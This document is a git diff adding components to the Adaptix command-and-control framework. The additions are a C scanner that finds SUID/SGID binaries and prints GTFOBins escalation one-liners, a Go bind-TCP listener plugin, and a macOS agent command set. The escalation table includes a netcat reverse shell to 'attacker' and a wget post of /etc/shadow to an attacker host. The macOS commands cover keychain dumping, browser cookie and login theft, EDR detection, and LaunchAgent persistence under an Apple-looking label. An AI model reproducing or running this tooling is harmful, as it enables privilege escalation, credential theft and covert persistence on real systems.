+#define DT_REG 8
+#define DT_LNK 10
+
+#define S_ISUID 04000
+#define S_ISGID 02000
+#define S_IXUSR 00100
+#define S_IXGRP 00010
+#define S_IXOTH 00001
+
+// Known GTFOBins SUID escalation targets
+typedef struct {
+ const char *name;
+ const char *hint;
+} gtfobins_t;
+
+static const gtfobins_t gtfobins[] = {
+ {"bash", "bash -p"},
+ {"sh", "sh -p"},
+ {"dash", "dash -p"},
+ {"zsh", "zsh"},
+ {"csh", "csh"},
+ {"ksh", "ksh"},
+ {"env", "env /bin/sh -p"},
+ {"find", "find . -exec /bin/sh -p \\;"},
+ {"nmap", "nmap --interactive -> !sh"},
+ {"vim", "vim -c ':!sh'"},
+ {"vi", "vi -c ':!sh'"},
+ {"nano", "nano -> ^R^X -> reset; sh 1>&0 2>&0"},
+ {"less", "less /etc/passwd -> !/bin/sh"},
+ {"more", "more /etc/passwd -> !/bin/sh"},
+ {"man", "man man -> !/bin/sh"},
+ {"awk", "awk 'BEGIN {system(\"/bin/sh\")}'"},
+ {"perl", "perl -e 'exec \"/bin/sh\";'"},
+ {"python", "python -c 'import os; os.execl(\"/bin/sh\",\"sh\",\"-p\")'"},
+ {"python3", "python3 -c 'import os; os.execl(\"/bin/sh\",\"sh\",\"-p\")'"},
+ {"ruby", "ruby -e 'exec \"/bin/sh\"'"},
+ {"lua", "lua -e 'os.execute(\"/bin/sh\")'"},
+ {"php", "php -r 'system(\"/bin/sh\");'"},
+ {"node", "node -e 'child_process.spawn(\"/bin/sh\",{stdio:[0,1,2]})'"},
+ {"cp", "cp /bin/sh /tmp/sh && chmod +s /tmp/sh"},
+ {"mv", "mv /bin/sh /tmp/sh (overwrite protected binary)"},
+ {"dd", "LFILE=shadow && dd if=/etc/$LFILE"},
+ {"tar", "tar cf /dev/null test --checkpoint=1 --checkpoint-action=exec=/bin/sh"},
+ {"zip", "zip /tmp/t /etc/passwd -T --unzip-command='sh -c /bin/sh'"},
+ {"gcc", "gcc -wrapper /bin/sh,-p,-s ."},
+ {"make", "make -s --eval='$(shell /bin/sh -p)'"},
+ {"docker", "docker run -v /:/mnt --rm -it alpine chroot /mnt sh"},
+ {"pkexec", "pkexec /bin/sh (CVE-2021-4034)"},
+ {"doas", "doas /bin/sh"},
+ {"sudo", "sudo -l (check allowed commands)"},
+ {"su", "su - (needs password)"},
+ {"mount", "mount -o bind /bin/sh /usr/bin/target"},
+ {"umount", "umount -l"},
+ {"chroot", "chroot / /bin/sh -p"},
+ {"strace", "strace -o /dev/null /bin/sh -p"},
+ {"ltrace", "ltrace -b -L /bin/sh -p"},
+ {"gdb", "gdb -nx -ex '!sh' -ex quit"},
+ {"screen", "screen (old versions CVE-2017-5618)"},
+ {"tmux", "tmux (check socket permissions)"},
+ {"wget", "wget --post-file=/etc/shadow http://attacker/"},
+ {"curl", "curl file:///etc/shadow"},
+ {"nc", "nc -e /bin/sh attacker 4444"},
+ {"ncat", "ncat -e /bin/sh attacker 4444"},
+ {"socat", "socat stdin exec:/bin/sh"},
+ {"ssh", "ssh -o ProxyCommand=';sh 0<&2 1>&2' x"},
+ {"scp", "scp -S /tmp/evil.sh x: ."},
+ {"rsync", "rsync -e 'sh -p' . localhost:/dev/null"},
+ {"tee", "echo data | tee /etc/crontab (file write)"},
+ {"sed", "sed -n '1e exec sh -p 1>&0' /dev/null"},
+ {"ed", "ed -> !/bin/sh"},
+ {"ar", "TF=$(mktemp -u); ar r $TF /etc/shadow; cat $TF"},
+ {"base64", "base64 /etc/shadow | base64 -d"},
+ {"xxd", "xxd /etc/shadow | xxd -r"},
+ {"taskset", "taskset 1 /bin/sh -p"},
+ {"time", "time /bin/sh -p"},
+ {"timeout", "timeout 5 /bin/sh -p"},
+ {"nice", "nice /bin/sh -p"},
+ {"ionice", "ionice /bin/sh -p"},
+ {"start-stop-daemon", "start-stop-daemon -n x -S -x /bin/sh -- -p"},
+ {"xargs", "xargs -a /dev/null sh -p"},
+ {(const char *)0, (const char *)0}
+};
+
+static const char *find_gtfobins_hint(const char *basename) {
+ for (int i = 0; gtfobins[i].name; i++) {
+ if (AxStrcmp(basename, gtfobins[i].name) == 0)
+ return gtfobins[i].hint;
+ }
+ return (const char *)0;
+}
+
+// Extract basename from path
+static const char *get_basename(const char *path) {
+ const char *last = path;
+ for (const char *p = path; *p; p++) {
+ if (*p == '/') last = p + 1;
+ }
+ return last;
+}
+
+static int suid_count = 0;
+static int sgid_count = 0;
+static int gtfobins_count = 0;
+
+static void scan_directory(const char *dirpath, int depth) {
+ if (depth > 8) return; // Max recursion depth
+
+ int fd = AxOpenDir(dirpath);
+ if (fd < 0) return;
+
+ char dirbuf[8192];
+
+ while (1) {
+ int nread = AxReadDir(fd, dirbuf, sizeof(dirbuf));
+ if (nread <= 0) break;
+
+ int pos = 0;
+ while (pos < nread) {
+ struct linux_dirent64 *entry = (struct linux_dirent64 *)(dirbuf + pos);
+ char *name = entry->d_name;
+
+ // Skip . and ..
+ if (name[0] == '.' && (name[1] == '\0' || (name[1] == '.' && name[2] == '\0'))) {
+ pos += entry->d_reclen;
+ continue;
+ }
+
+ char fullpath[1024];
+ int dirlen = AxStrlen(dirpath);
+ if (dirlen + 1 + AxStrlen(name) + 1 > 1024) {
+ pos += entry->d_reclen;
+ continue;
+ }
+ AxStrcpy(fullpath, dirpath);
+ if (dirpath[dirlen - 1] != '/') {
+ fullpath[dirlen] = '/';
+ fullpath[dirlen + 1] = '\0';
+ }
+ AxStrcat(fullpath, name);
+
+ // Recurse into directories
+ if (entry->d_type == DT_DIR) {
+ // Skip /proc, /sys, /dev, /run
+ if (depth == 0) {
+ if (AxStrcmp(name, "proc") == 0 || AxStrcmp(name, "sys") == 0 ||
+ AxStrcmp(name, "dev") == 0 || AxStrcmp(name, "run") == 0 ||
+ AxStrcmp(name, "snap") == 0) {
+ pos += entry->d_reclen;
+ continue;
+ }
+ }
+ scan_directory(fullpath, depth + 1);
+ }
+
+ // Check files for SUID/SGID
+ if (entry->d_type == DT_REG || entry->d_type == DT_LNK) {
+ unsigned int mode = 0;
+ long fsize = 0;
+ unsigned int uid = 0, gid = 0;
+
+ if (AxFileStat(fullpath, &mode, &fsize, &uid, &gid) == 0) {
+ int is_suid = (mode & S_ISUID) && (mode & (S_IXUSR | S_IXGRP | S_IXOTH));
+ int is_sgid = (mode & S_ISGID) && (mode & (S_IXUSR | S_IXGRP | S_IXOTH));
+
+ if (is_suid || is_sgid) {
+ const char *basename = get_basename(fullpath);
+ const char *hint = find_gtfobins_hint(basename);
+
+ char flags[16];
+ int fi = 0;
+ if (is_suid) { flags[fi++] = 'S'; flags[fi++] = 'U'; flags[fi++] = 'I'; flags[fi++] = 'D'; }
+ if (is_suid && is_sgid) { flags[fi++] = '+'; }
+ if (is_sgid) { flags[fi++] = 'S'; flags[fi++] = 'G'; flags[fi++] = 'I'; flags[fi++] = 'D'; }
+ flags[fi] = '\0';
+
+ if (hint) {
+ BeaconPrintf(CALLBACK_OUTPUT,
+ "[!!] %-50s [%s] owner=%d GTFOBins: %s\n",
+ fullpath, flags, uid, hint);
+ gtfobins_count++;
+ } else {
+ BeaconPrintf(CALLBACK_OUTPUT,
+ " %-50s [%s] owner=%d\n",
+ fullpath, flags, uid);
+ }
+
+ if (is_suid) suid_count++;
+ if (is_sgid) sgid_count++;
+ }
+ }
+ }
+
+ pos += entry->d_reclen;
+ }
+ }
+
+ AxCloseFile(fd);
+}
+
+void go(char *args, int args_len) {
+ BeaconPrintf(CALLBACK_OUTPUT, "[*] Scanning for SUID/SGID binaries...\n");
+ BeaconPrintf(CALLBACK_OUTPUT, " [!!] = GTFOBins escalation candidate\n\n");
+
+ suid_count = 0;
+ sgid_count = 0;
+ gtfobins_count = 0;
+
+ // Scan standard binary directories first (fast)
+ const char *fast_dirs[] = {
+ "/usr/bin", "/usr/sbin", "/usr/local/bin", "/usr/local/sbin",
+ "/bin", "/sbin", "/opt",
+ (const char *)0
+ };
+
+ for (int i = 0; fast_dirs[i]; i++) {
+ scan_directory(fast_dirs[i], 2); // depth=2 to skip virtual fs skip logic
+ }
+
+ // Full filesystem scan for non-standard locations
+ scan_directory("/home", 1);
+ scan_directory("/tmp", 1);
+ scan_directory("/var", 1);
+
+ BeaconPrintf(CALLBACK_OUTPUT, "\n[*] Summary: %d SUID, %d SGID, %d GTFOBins candidates\n",
+ suid_count, sgid_count, gtfobins_count);
+}
diff --git a/AdaptixServer/extenders/linux_listener_tcp/Makefile b/AdaptixServer/extenders/linux_listener_tcp/Makefile
new file mode 100644
index 000000000..ec48f2439
--- /dev/null
+++ b/AdaptixServer/extenders/linux_listener_tcp/Makefile
@@ -0,0 +1,9 @@
+all: clean
+ @ echo " * Building listener_linux_tcp plugin"
+ @ mkdir dist
+ @ cp config.yaml ax_config.axs ./dist/
+ @ GOEXPERIMENT=jsonv2,greenteagc go build -buildmode=plugin -ldflags="-s -w" -o ./dist/listener_linux_tcp.so pl_main.go pl_transport.go
+ @ echo " done..."
+
+clean:
+ @ rm -rf dist
diff --git a/AdaptixServer/extenders/linux_listener_tcp/ax_config.axs b/AdaptixServer/extenders/linux_listener_tcp/ax_config.axs
new file mode 100644
index 000000000..dd5e7ea5f
--- /dev/null
+++ b/AdaptixServer/extenders/linux_listener_tcp/ax_config.axs
@@ -0,0 +1,45 @@
+/// Linux TCP listener (internal — bind TCP for pivot)
+
+function ListenerUI(mode_create)
+{
+ let spacer1 = form.create_vspacer()
+
+ let labelPortBind = form.create_label("Bind port:");
+ let spinPortBind = form.create_spin();
+ spinPortBind.setRange(1, 65535);
+ spinPortBind.setValue(4444);
+ spinPortBind.setEnabled(mode_create)
+
+ let labelEncryptKey = form.create_label("Encryption key:");
+ let textlineEncryptKey = form.create_textline(ax.random_string(32, "hex"));
+ textlineEncryptKey.setEnabled(mode_create)
+ let buttonEncryptKey = form.create_button("Generate");
+ buttonEncryptKey.setEnabled(mode_create)
+
+ let spacer2 = form.create_vspacer()
+
+ form.connect(buttonEncryptKey, "clicked", function() { textlineEncryptKey.setText( ax.random_string(32, "hex") ); });
+
+ let layout = form.create_gridlayout();
+ layout.addWidget(spacer1, 0, 0, 1, 3);
+ layout.addWidget(labelPortBind, 1, 0, 1, 1);
+ layout.addWidget(spinPortBind, 1, 1, 1, 2);
+ layout.addWidget(labelEncryptKey, 2, 0, 1, 1);
+ layout.addWidget(textlineEncryptKey, 2, 1, 1, 1);
+ layout.addWidget(buttonEncryptKey, 2, 2, 1, 1);
+ layout.addWidget(spacer2, 3, 0, 1, 3);
+
+ let container = form.create_container();
+ container.put("port_bind", spinPortBind);
+ container.put("encrypt_key", textlineEncryptKey);
+
+ let panel = form.create_panel();
+ panel.setLayout(layout);
+
+ return {
+ ui_panel: panel,
+ ui_container: container,
+ ui_height: 650,
+ ui_width: 650
+ }
+}
diff --git a/AdaptixServer/extenders/linux_listener_tcp/config.yaml b/AdaptixServer/extenders/linux_listener_tcp/config.yaml
new file mode 100644
index 000000000..f301c6f75
--- /dev/null
+++ b/AdaptixServer/extenders/linux_listener_tcp/config.yaml
@@ -0,0 +1,7 @@
+extender_type: "listener"
+extender_file: "listener_linux_tcp.so"
+ax_file: "ax_config.axs"
+
+listener_name: "LinuxTCP"
+listener_type: "internal"
+protocol: "bind_tcp"
diff --git a/AdaptixServer/extenders/linux_listener_tcp/go.mod b/AdaptixServer/extenders/linux_listener_tcp/go.mod
new file mode 100644
index 000000000..be4ec916f
--- /dev/null
+++ b/AdaptixServer/extenders/linux_listener_tcp/go.mod
@@ -0,0 +1,13 @@
+module adaptix_listener_linux_tcp
+
+go 1.25.4
+
+require (
+ github.com/Adaptix-Framework/axc2 v1.2.0
+ github.com/vmihailenco/msgpack/v5 v5.4.1
+)
+
+require (
+ github.com/stretchr/testify v1.11.1 // indirect
+ github.com/vmihailenco/tagparser/v2 v2.0.0 // indirect
+)
diff --git a/AdaptixServer/extenders/linux_listener_tcp/go.sum b/AdaptixServer/extenders/linux_listener_tcp/go.sum
new file mode 100644
index 000000000..c481b50fe
--- /dev/null
+++ b/AdaptixServer/extenders/linux_listener_tcp/go.sum
@@ -0,0 +1,11 @@
+github.com/Adaptix-Framework/axc2 v1.2.0 h1:WYEg502NTTtX1tQJUz2AaC2dmm/bS/1L1iOHOQ5kEYA=
+github.com/Adaptix-Framework/axc2 v1.2.0/go.mod h1:3oJyFeRVIql1RTsNa0meEqK3+P+6JTAMMjMdVyXhbaQ=
+github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c=
+github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM=
+github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=
+github.com/stretchr/testify v1.11.1 h1:7s2iGBzp5EwR7/aIZr8ao5+dra3wiQyKjjFuvgVKu7U=
+github.com/vmihailenco/msgpack/v5 v5.4.1 h1:cQriyiUvjTwOHg8QZaPihLWeRAAVoCpE00IUPn0Bjt8=
+github.com/vmihailenco/msgpack/v5 v5.4.1/go.mod h1:GaZTsDaehaPpQVyxrf5mtQlH+pc21PIudVV/E3rRQok=
+github.com/vmihailenco/tagparser/v2 v2.0.0 h1:y09buUbR+b5aycVFQs/g70pqKVZNBmxwAhO7/IwNM9g=
+github.com/vmihailenco/tagparser/v2 v2.0.0/go.mod h1:Wri+At7QHww0WTrCBeu4J6bNtoV6mEfg5OIWRZA9qds=
+gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA=
diff --git a/AdaptixServer/extenders/linux_listener_tcp/pl_main.go b/AdaptixServer/extenders/linux_listener_tcp/pl_main.go
new file mode 100644
index 000000000..21fc94d30
--- /dev/null
+++ b/AdaptixServer/extenders/linux_listener_tcp/pl_main.go
@@ -0,0 +1,198 @@
+package main
+
+import (
+ "bytes"
+ "crypto/aes"
+ "crypto/cipher"
+ "encoding/hex"
+ "encoding/json"
+ "errors"
+ "fmt"
+
+ adaptix "github.com/Adaptix-Framework/axc2"
+ "github.com/vmihailenco/msgpack/v5"
+)
+
+type Teamserver interface {
+ TsAgentIsExists(agentId string) bool
+ TsAgentCreate(agentCrc string, agentId string, beat []byte, listenerName string, ExternalIP string, Async bool) (adaptix.AgentData, error)
+}
+
+type PluginListener struct{}
+
+var (
+ ModuleDir string
+ ListenerDataDir string
+ Ts Teamserver
+)
+
+// Msgpack structs matching Linux agent's build_init_msg format
+type StartMsg struct {
+ Id int `msgpack:"id"`
+ Data []byte `msgpack:"data"`
+}
+
+type InitPack struct {
+ Id uint `msgpack:"id"`
+ Type uint `msgpack:"type"`
+ Data []byte `msgpack:"data"`
+}
+
+func InitPlugin(ts any, moduleDir string, listenerDir string) adaptix.PluginListener {
+ ModuleDir = moduleDir
+ ListenerDataDir = listenerDir
+ Ts = ts.(Teamserver)
+ return &PluginListener{}
+}
+
+func (p *PluginListener) Create(name string, config string, customData []byte) (adaptix.ExtenderListener, adaptix.ListenerData, []byte, error) {
+ var (
+ listener *Listener
+ listenerData adaptix.ListenerData
+ customdData []byte
+ conf TransportConfig
+ err error
+ )
+
+ if customData == nil {
+ if err = validConfig(config); err != nil {
+ return nil, listenerData, customdData, err
+ }
+
+ err = json.Unmarshal([]byte(config), &conf)
+ if err != nil {
+ return nil, listenerData, customdData, err
+ }
+
+ conf.Protocol = "bind_tcp"
+ } else {
+ err = json.Unmarshal(customData, &conf)
+ if err != nil {
+ return nil, listenerData, customdData, err
+ }
+ }
+
+ transport := &TransportTCP{
+ Name: name,
+ Config: conf,
+ Active: false,
+ }
+
+ listenerData = adaptix.ListenerData{
+ BindHost: "",
+ BindPort: "",
+ AgentAddr: fmt.Sprintf("0.0.0.0:%d", transport.Config.Port),
+ Status: "Stopped",
+ }
+
+ var buffer bytes.Buffer
+ err = json.NewEncoder(&buffer).Encode(transport.Config)
+ if err != nil {
+ return nil, listenerData, customdData, err
+ }
+ customdData = buffer.Bytes()
+
+ listener = &Listener{transport: transport}
+
+ return listener, listenerData, customdData, nil
+}
+
+func (l *Listener) Start() error {
+ l.transport.Active = true
+ return nil
+}
+
+func (l *Listener) Edit(config string) (adaptix.ListenerData, []byte, error) {
+ var (
+ listenerData adaptix.ListenerData
+ customdData []byte
+ )
+
+ listenerData = adaptix.ListenerData{
+ BindHost: "",
+ BindPort: "",
+ AgentAddr: fmt.Sprintf("0.0.0.0:%d", l.transport.Config.Port),
+ Status: "Listen",
+ }
+
+ var buffer bytes.Buffer
+ err := json.NewEncoder(&buffer).Encode(l.transport.Config)
+ if err != nil {
+ return listenerData, customdData, err
+ }
+ customdData = buffer.Bytes()
+
+ return listenerData, customdData, nil
+}
+
+func (l *Listener) Stop() error {
+ l.transport.Active = false
+ return nil
+}
+
+func (l *Listener) GetProfile() ([]byte, error) {
+ var buffer bytes.Buffer
+
+ err := json.NewEncoder(&buffer).Encode(l.transport.Config)
+ if err != nil {
+ return nil, err
+ }
+
+ return buffer.Bytes(), nil
+}
+
+func (l *Listener) InternalHandler(data []byte) (string, error) {
+ var agentId = ""
+
+ // Decrypt with AES-128-GCM (16-byte key)
+ encKey, err := hex.DecodeString(l.transport.Config.EncryptKey)
+ if err != nil {
+ return "", err
+ }
+ if len(encKey) != 16 {
+ return "", errors.New("encrypt_key must be 16 bytes for AES-128")
+ }
+
+ block, err := aes.NewCipher(encKey)
+ if err != nil {
+ return "", err
+ }
+ gcm, err := cipher.NewGCM(block)
+ if err != nil {
+ return "", err
+ }
+
+ nonceSize := gcm.NonceSize()
+ if len(data) < nonceSize+gcm.Overhead() {
+ return "", errors.New("beat ciphertext too short")
+ }
+
+ nonce, ciphertext := data[:nonceSize], data[nonceSize:]
+ plaintext, err := gcm.Open(nil, nonce, ciphertext, nil)
+ if err != nil {
+ return "", errors.New("aes-128-gcm decrypt error")
+ }
+
+ // Parse msgpack: StartMsg{id, data} → InitPack{id, type, data}
+ var startMsg StartMsg
+ if err = msgpack.Unmarshal(plaintext, &startMsg); err != nil {
+ return "", fmt.Errorf("msgpack StartMsg decode error: %v", err)
+ }
+
+ var initPack InitPack
+ if err = msgpack.Unmarshal(startMsg.Data, &initPack); err != nil {
+ return "", fmt.Errorf("msgpack InitPack decode error: %v", err)
+ }
+
+ agentType := fmt.Sprintf("%08x", initPack.Type)
+ agentId = fmt.Sprintf("%08x", initPack.Id)
+
+ if !Ts.TsAgentIsExists(agentId) {
+ _, err = Ts.TsAgentCreate(agentType, agentId, initPack.Data, l.transport.Name, "", false)
+ if err != nil {
+ return agentId, err
+ }
+ }
+
+ return agentId, nil
+}
diff --git a/AdaptixServer/extenders/linux_listener_tcp/pl_transport.go b/AdaptixServer/extenders/linux_listener_tcp/pl_transport.go
new file mode 100644
index 000000000..da1cd728d
--- /dev/null
+++ b/AdaptixServer/extenders/linux_listener_tcp/pl_transport.go
@@ -0,0 +1,44 @@
+package main
+
+import (
+ "encoding/json"
+ "errors"
+ "regexp"
+)
+
+type Listener struct {
+ transport *TransportTCP
+}
+
+type TransportConfig struct {
+ Port int `json:"port_bind"`
+ EncryptKey string `json:"encrypt_key"`
+
+ Protocol string `json:"protocol"`
+}
+
+type TransportTCP struct {
+ Config TransportConfig
+ Name string
+ Active bool
+}
+
+func validConfig(config string) error {
+ var conf TransportConfig
+ err := json.Unmarshal([]byte(config), &conf)
+ if err != nil {
+ return err
+ }
+
+ if conf.Port < 1 || conf.Port > 65535 {
+ return errors.New("Port must be in the range 1-65535")
+ }
+
+ // Linux agent uses AES-128-GCM (16-byte key = 32 hex chars)
+ match, _ := regexp.MatchString("^[0-9a-f]{32}$", conf.EncryptKey)
+ if len(conf.EncryptKey) != 32 || !match {
+ return errors.New("encrypt_key must be 32 hex characters (16 bytes for AES-128)")
+ }
+
+ return nil
+}
diff --git a/AdaptixServer/extenders/macos_agent/Makefile b/AdaptixServer/extenders/macos_agent/Makefile
new file mode 100644
index 000000000..a3cae542e
--- /dev/null
+++ b/AdaptixServer/extenders/macos_agent/Makefile
@@ -0,0 +1,14 @@
+all: clean
+ @ echo " * Building agent_macos plugin"
+ @ mkdir dist
+ @ cp config.yaml ax_config.axs ./dist/
+ @ GOEXPERIMENT=jsonv2,greenteagc go build -buildmode=plugin -ldflags="-s -w" -o ./dist/agent_macos.so pl_main.go pl_utils.go pl_hashes_macos.go pl_encoder_macos.go
+ @ echo " done..."
+
+ @ echo " * Preparing macOS agent sources"
+ @ cp -r src_macos ./dist/src_macos
+ @ cp -r src_agent ./dist/src_agent
+ @ echo " done..."
+
+clean:
+ @ rm -rf dist
diff --git a/AdaptixServer/extenders/macos_agent/ax_config.axs b/AdaptixServer/extenders/macos_agent/ax_config.axs
new file mode 100644
index 000000000..1ce0cf62e
--- /dev/null
+++ b/AdaptixServer/extenders/macos_agent/ax_config.axs
@@ -0,0 +1,232 @@
+/// macOS agent — AxScript UI configuration
+
+let exit_action = menu.create_action("Exit", function(agents_id) { agents_id.forEach(id => ax.execute_command(id, "exit")) });
+menu.add_session_agent(exit_action, ["macos"])
+
+let file_browser_action = menu.create_action("File Browser", function(agents_id) { agents_id.forEach(id => ax.open_browser_files(id)) });
+let process_browser_action = menu.create_action("Process Browser", function(agents_id) { agents_id.forEach(id => ax.open_browser_process(id)) });
+let terminal_browser_action = menu.create_action("Remote Terminal", function(agents_id) { agents_id.forEach(id => ax.open_remote_terminal(id)) });
+menu.add_session_browser(file_browser_action, ["macos"])
+menu.add_session_browser(process_browser_action, ["macos"])
+menu.add_session_browser(terminal_browser_action, ["macos"])
+
+let tunnel_access_action = menu.create_action("Create Tunnel", function(agents_id) { ax.open_access_tunnel(agents_id[0], true, true, false, false) });
+menu.add_session_access(tunnel_access_action, ["macos"]);
+
+
+let execute_action = menu.create_action("Execute", function(files_list) {
+ file = files_list[0];
+ if(file.type != "file"){ return; }
+
+ let label_bin = form.create_label("Binary:");
+ let text_bin = form.create_textline(file.path + file.name);
+ text_bin.setEnabled(false);
+ let label_args = form.create_label("Arguments:");
+ let text_args = form.create_textline();
+
+ let layout = form.create_gridlayout();
+ layout.addWidget(label_bin, 0, 0, 1, 1);
+ layout.addWidget(text_bin, 0, 1, 1, 1);
+ layout.addWidget(label_args, 1, 0, 1, 1);
+ layout.addWidget(text_args, 1, 1, 1, 1);
+
+ let dialog = form.create_dialog("Execute binary");
+ dialog.setSize(500, 80);
+ dialog.setLayout(layout);
+ if ( dialog.exec() == true )
+ {
+ let command = "run " + text_bin.text() + " " + text_args.text();
+ ax.execute_command(file.agent_id, command);
+ }
+});
+let download_action = menu.create_action("Download", function(files_list) { files_list.forEach( file => ax.execute_command(file.agent_id, "download " + file.path + file.name) ) });
+let remove_action = menu.create_action("Remove", function(files_list) { files_list.forEach( file => ax.execute_command(file.agent_id, "rm " + file.path + file.name) ) });
+menu.add_filebrowser(download_action, ["macos"])
+menu.add_filebrowser(remove_action, ["macos"])
+
+
+let job_stop_action = menu.create_action("Stop job", function(tasks_list) {
+ tasks_list.forEach((task) => {
+ if(task.type == "JOB" && task.state == "Running") {
+ ax.execute_command(task.agent_id, "job kill " + task.task_id);
+ }
+ });
+});
+menu.add_tasks_job(job_stop_action, ["macos"])
+
+
+let cancel_action = menu.create_action("Cancel", function(files_list) { files_list.forEach( file => ax.execute_command(file.agent_id, "job kill " + file.file_id) ) });
+menu.add_downloads_running(cancel_action, ["macos"])
+
+
+var event_files_action = function(id, path) {
+ ax.execute_browser(id, "ls " + path);
+}
+event.on_filebrowser_list(event_files_action, ["macos"]);
+
+var event_upload_action = function(id, path, filepath) {
+ let filename = ax.file_basename(filepath);
+ ax.execute_browser(id, "upload " + filepath + " " + path + filename);
+}
+event.on_filebrowser_upload(event_upload_action, ["macos"]);
+
+var event_process_action = function(id) {
+ ax.execute_browser(id, "ps");
+}
+event.on_processbrowser_list(event_process_action, ["macos"]);
+
+
+function RegisterCommands(listenerType)
+{
+ let cmd_cat = ax.create_command("cat", "Read a file (less 10 KB)", "cat /etc/passwd", "Task: read file");
+ cmd_cat.addArgString("path", true);
+
+ let cmd_cp = ax.create_command("cp", "Copy file or directory", "cp src.txt dst.txt", "Task: copy file or directory");
+ cmd_cp.addArgString("src", true);
+ cmd_cp.addArgString("dst", true);
+
+ let cmd_cd = ax.create_command("cd", "Change current working directory", "cd /Users/target", "Task: change working directory");
+ cmd_cd.addArgString("path", true);
+
+ let cmd_download = ax.create_command("download", "Download a file", "download /tmp/file", "Task: download file");
+ cmd_download.addArgString("path", true);
+
+ let cmd_exit = ax.create_command("exit", "Kill agent", "exit", "Task: kill agent");
+
+ let _cmd_job_list = ax.create_command("list", "List of jobs", "job list", "Task: show jobs");
+ let _cmd_job_kill = ax.create_command("kill", "Kill a specified job", "job kill 1a2b3c4d", "Task: kill job");
+ _cmd_job_kill.addArgString("task_id", true);
+ let cmd_job = ax.create_command("job", "Long-running tasks manager");
+ cmd_job.addSubCommands([_cmd_job_list, _cmd_job_kill]);
+
+ let cmd_kill = ax.create_command("kill", "Kill a process with a given PID", "kill 7865", "Task: kill process");
+ cmd_kill.addArgInt("pid", true);
+
+ let cmd_ls = ax.create_command("ls", "List contents of a directory or details of a file", "ls /Users/", "Task: list files");
+ cmd_ls.addArgString("path", "", ".");
+
+ let cmd_mv = ax.create_command("mv", "Move file or directory", "mv src.txt dst.txt", "Task: move file or directory");
+ cmd_mv.addArgString("src", true);
+ cmd_mv.addArgString("dst", true);
+
+ let cmd_mkdir = ax.create_command("mkdir", "Make a directory", "mkdir /tmp/ex", "Task: make directory");
+ cmd_mkdir.addArgString("path", true);
+
+ let cmd_ps = ax.create_command("ps", "Show process list", "ps", "Task: show process list");
+
+ let cmd_pwd = ax.create_command("pwd", "Print current working directory", "pwd", "Task: print working directory");
+
+ let cmd_rm = ax.create_command("rm", "Remove a file or folder", "rm /tmp/file", "Task: remove file or directory");
+ cmd_rm.addArgString("path", true);
+
+ let cmd_run = ax.create_command("run", "Execute long command or scripts", "run /tmp/script.sh", "Task: command run");
+ cmd_run.addArgString("program", true);
+ cmd_run.addArgString("args", false);
+
+ let cmd_screenshot = ax.create_command("screenshot", "Take a single screenshot", "screenshot", "Task: screenshot");
+
+ let cmd_clipboard = ax.create_command("clipboard", "Read clipboard contents", "clipboard", "Task: read clipboard");
+
+ let _cmd_persist_la = ax.create_command("launchagent", "Install LaunchAgent persistence (user-level)", "persist launchagent com.apple.mdworker.local", "Task: install LaunchAgent");
+ _cmd_persist_la.addArgString("name", true, "Plist label (e.g. com.apple.mdworker.local)");
+ let _cmd_persist_ld = ax.create_command("launchdaemon", "Install LaunchDaemon persistence (requires root)", "persist launchdaemon com.apple.mdworker.local", "Task: install LaunchDaemon");
+ _cmd_persist_ld.addArgString("name", true, "Plist label");
+ let _cmd_persist_rm = ax.create_command("remove", "Remove persistence", "persist remove launchagent com.apple.mdworker.local", "Task: remove persistence");
+ _cmd_persist_rm.addArgString("method", true, "launchagent or launchdaemon");
+ _cmd_persist_rm.addArgString("name", true, "Plist label");
+ let _cmd_persist_st = ax.create_command("status", "Check persistence status", "persist status", "Task: check persistence");
+ let cmd_persist = ax.create_command("persist", "Manage persistence (LaunchAgent/LaunchDaemon)");
+ cmd_persist.addSubCommands([_cmd_persist_la, _cmd_persist_ld, _cmd_persist_rm, _cmd_persist_st]);
+
+ let cmd_tcc_check = ax.create_command("tcc_check", "Check TCC permissions (FDA, Screen Recording, etc.)", "tcc_check", "Task: check TCC permissions");
+
+ let cmd_defaults_read = ax.create_command("defaults_read", "Read macOS defaults/preferences", "defaults_read NSGlobalDomain", "Task: read defaults");
+ cmd_defaults_read.addArgString("domain", false, "Defaults domain (empty for all)");
+
+ let cmd_edr_check = ax.create_command("edr_check", "Detect installed EDR/security products", "edr_check", "Task: EDR detection");
+
+ let _cmd_keychain_list = ax.create_command("list", "List keychains and entries", "keychain list", "Task: list keychains");
+ let _cmd_keychain_dump = ax.create_command("dump", "Dump keychain entries", "keychain dump", "Task: dump keychain");
+ let cmd_keychain = ax.create_command("keychain", "Interact with macOS Keychain");
+ cmd_keychain.addSubCommands([_cmd_keychain_list, _cmd_keychain_dump]);
+
+ let cmd_browser_dump = ax.create_command("browser_dump", "Collect browser data (Chrome/Firefox)", "browser_dump chrome cookies", "Task: browser data collection");
+ cmd_browser_dump.addArgString("browser", true, "chrome or firefox");
+ cmd_browser_dump.addArgString("target", false, "cookies, history, or logins (empty to list files)");
+
+ let _cmd_socks_start = ax.create_command("start", "Start a SOCKS5 proxy server and listen on a specified port", "socks start 1080 -a user pass");
+ _cmd_socks_start.addArgFlagString("-h", "address", "Listening interface address", "0.0.0.0");
+ _cmd_socks_start.addArgInt("port", true, "Listen port");
+ _cmd_socks_start.addArgBool("-a", "Enable User/Password authentication for SOCKS5");
+ _cmd_socks_start.addArgString("username", false, "Username for SOCKS5 proxy");
+ _cmd_socks_start.addArgString("password", false, "Password for SOCKS5 proxy");
+ let _cmd_socks_stop = ax.create_command("stop", "Stop a SOCKS proxy server", "socks stop 1080");
+ _cmd_socks_stop.addArgInt("port", true);
+ let cmd_socks = ax.create_command("socks", "Managing socks tunnels");
+ cmd_socks.addSubCommands([_cmd_socks_start, _cmd_socks_stop]);
+
+ let cmd_shell = ax.create_command("shell", "Execute command via /bin/zsh", "shell id", "Task: command execute");
+ cmd_shell.addArgString("cmd", true);
+
+ let cmd_upload = ax.create_command("upload", "Upload a file", "upload /tmp/file.txt /Users/target/file.txt", "Task: upload file");
+ cmd_upload.addArgFile("local_file", true);
+ cmd_upload.addArgString("remote_path", false);
+
